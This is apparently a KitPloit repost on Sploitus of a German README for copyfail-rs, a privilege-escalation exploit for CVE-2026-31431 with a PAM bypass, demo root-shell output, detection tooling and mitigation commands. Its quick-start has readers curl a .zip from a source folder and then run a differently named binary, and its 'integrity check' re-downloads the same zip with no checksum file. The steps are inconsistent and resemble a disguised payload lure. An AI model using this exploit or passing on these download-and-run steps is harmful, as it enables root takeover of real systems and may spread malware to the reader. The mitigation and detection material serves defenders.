Sploitus

Exploit for copyfail-rs

kitploit · 2026-08-24

Exploit Code

MARKDOWN169 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LIVERWORTENURESIS371-COPYFAIL-RS
# copyfail-rs

> Multi-Vektor-PoC mit passender Erkennung für CVE-2026-31431 (CopyFail). Enthält einen neuartigen PAM-Auth-Bypass-Vektor, den kein anderer öffentlicher PoC mitliefert. Der Erkennungsmodus erfasst, was AIDE / Wazuh / OSSEC / Tripwire strukturell nicht können.

Einzelnes statisches Binary. ~108 KB. `no_std` musl.

## Demo

root@kitploit:~
    
    
    noot@host:~$ ./copyfail-rs --mode exploit
    [sudo] password for noot:
    root@host:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@host:~#
    

Ein Befehl. Root-Shell. PAM-Killshot unter der Haube (ein einzelner 4-Byte-Schreibvorgang in /etc/pam.d/common-auth), PTY-Drop zu Root über sudo mit weggeworfenem Passwort. Die Zeile `[sudo] password for noot:` erscheint kurz; sudo gibt diese Eingabeaufforderung immer aus; das Binary füttert sie mit einer beliebigen Zeichenkette, und der Fehler von pam_unix kaskadiert über den auskommentierten pam_deny.so zu pam_permit.so → root.

root@kitploit:~
    
    
    $ ./copyfail-rs --mode detect --scan
    === copyfail-rs detection: --scan ===
    
    TAMPERED (1):
      /etc/pam.d/common-auth [ext4]
        cache:  23c4f1ee...  ← what's actually loaded (mutated)
        disk:   117dab1c...  ← what AIDE / Wazuh / Tripwire see (clean)
    

Das ist das Projekt. Platte sauber, Cache mutiert. Jedes öffentliche FIM ist blind. Dieses Tool nicht.

## Schnellstart (kein Build nötig)

Vorgefertigte statische Binaries im v0.1.0-Release. Architektur wählen, herunterladen, ausführen.

root@kitploit:~
    
    
    # x86_64 (die meisten Laptops + Cloud-Server)
    curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
    chmod +x copyfail-x86_64-musl
    ./copyfail-x86_64-musl --mode exploit
    

Andere Architekturen:

Architektur| Datei  
---|---  
ARM64 (aarch64)| `copyfail-aarch64-musl`  
ARMv7 (Raspberry Pi 3+)| `copyfail-armv7-musleabihf`  
  
Integrität prüfen:

root@kitploit:~
    
    
    curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
    sha256sum -c checksums.txt
    

Statische musl-Binaries, keine Laufzeitabhängigkeiten, läuft auf jedem Linux.

## Warum FIM blind ist

Page-Cache-Mutation. Kein VFS-Write. Keine Dirty Page. Kein inotify-Event. Periodischer Rescan konkurriert mit der Verdrängung.

AIDE/Wazuh/OSSEC/Tripwire/Samhain lesen über gepuffertes I/O → Page-Cache → hashen mutierte Bytes als Wahrheit. Oder nach der Verdrängung den sauberen Datenträger hashen → "nie eine Änderung passiert."

Für die Erkennung sind O_DIRECT (Cache überspringen) + gepuffertes Lesen (Cache treffen) + Hash-Diff erforderlich. Abweichung = CopyFail-Signatur. Das ist `--scan`.

## Vektoren

Automatische Auswahl: `--vector auto` (Standard). Reiht pam > su > passwd nach Tarnung. Fallback bei Fehler.

## Erkennung

`--json` überall für die SIEM-Aufnahme.

## Erkennungsartefakte

`detection/`:

  * `sigma/copyfail-af-alg.yml`, Sigma-Regel, einfügen in dein SIEM
  * `auditd/copyfail.rules`, `augenrules --load`
  * `ebpf/copyfail-trace.bt`, bpftrace-Einzeiler
  * `apparmor/copyfail-block.profile`, AppArmor-3.0+-Verweigerungsregel
  * `mitigation/disable-algif.sh`, modprobe-Blacklist + `=y`-Warnung



## Mitigation

root@kitploit:~
    
    
    echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
    sudo rmmod algif_aead
    

Oder Kernel-Mainline `a664bf3d603d` (April 2026). Stand jetzt: nur Debian Sid/Forky ausgeliefert. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = alle angreifbar.

Achtung: `CONFIG_CRYPTO_USER_API_AEAD=y` (fest eingebaut) umgeht modprobe stillschweigend. `--check` warnt.

Nach Exploit + Mitigation bleibt die Cache-Mutation bis zum Neustart bestehen. Die Mitigation blockiert NEUE Exploits, macht vergangene nicht rückgängig.

## Kompilieren

root@kitploit:~
    
    
    cargo build --release --target x86_64-unknown-linux-musl
    

Ziel| Größe  
---|---  
x86_64-musl| 108 KB  
aarch64-musl| 96 KB  
armv7-musleabihf| 86 KB  
  
`no_std`. Kein Allokator. Keine Laufzeitabhängigkeiten. Ein einziges statisches Binary.

Vorgefertigte Artefakte und SHA256-Summen sind den GitHub-Releases beigefügt.

## Verwendung

Konkrete einseitige Beispiele pro Modus (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt) findest du in `docs/usage.md`.

Eine ausführlichere, narrative Version dieser README (mehr Kontext, tiefere Darstellung) findest du in `BLOG.md`.

## Bedrohungsmodell

Siehe `docs/threat-model.md`.

## Vergleich

## Autorisierung & Ethik

Nur eigene Hardware. Kein CLI-Gate (Sicherheitstheater). README + LICENSE = der Rahmen.

Der Erkennungsmodus ist schreibgeschützt. Sicher für die Produktion.

Der Exploit-Modus mutiert den Kernel-Page-Cache. Nur RAM, aber als destruktiv behandeln. Blockiert die Authentifizierung für jeden nachfolgenden Aufrufer.

## Credits

CVE-2026-31431 wurde von Theori / Xint am 2026-04-29 veröffentlicht (Write-up, Xint-Blog). Bisherige öffentliche PoCs:

  * theori-io/copy-fail-CVE-2026-31431 (Python, 732 Bytes, su-Vektor)
  * tgies/copy-fail-c (C mit nolibc, su- + passwd-Vektoren, portabel)
  * badsectorlabs/copyfail-go (statisches Go-Binary, su-Vektor)



Dieses Projekt (`copyfail-rs`): fügt den PAM-Auth-Bypass-Vektor, die Erkennung mit zwei Modi und IR-Artefakte hinzu.

## Lizenz

MIT.

## Referenzen

  * https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  * Linux-Fix: `a664bf3d603d`
  * Basis: `72548b093ee3` (4.14, Aug. 2017)
  * Analog: Dirty Pipe (CVE-2022-0847)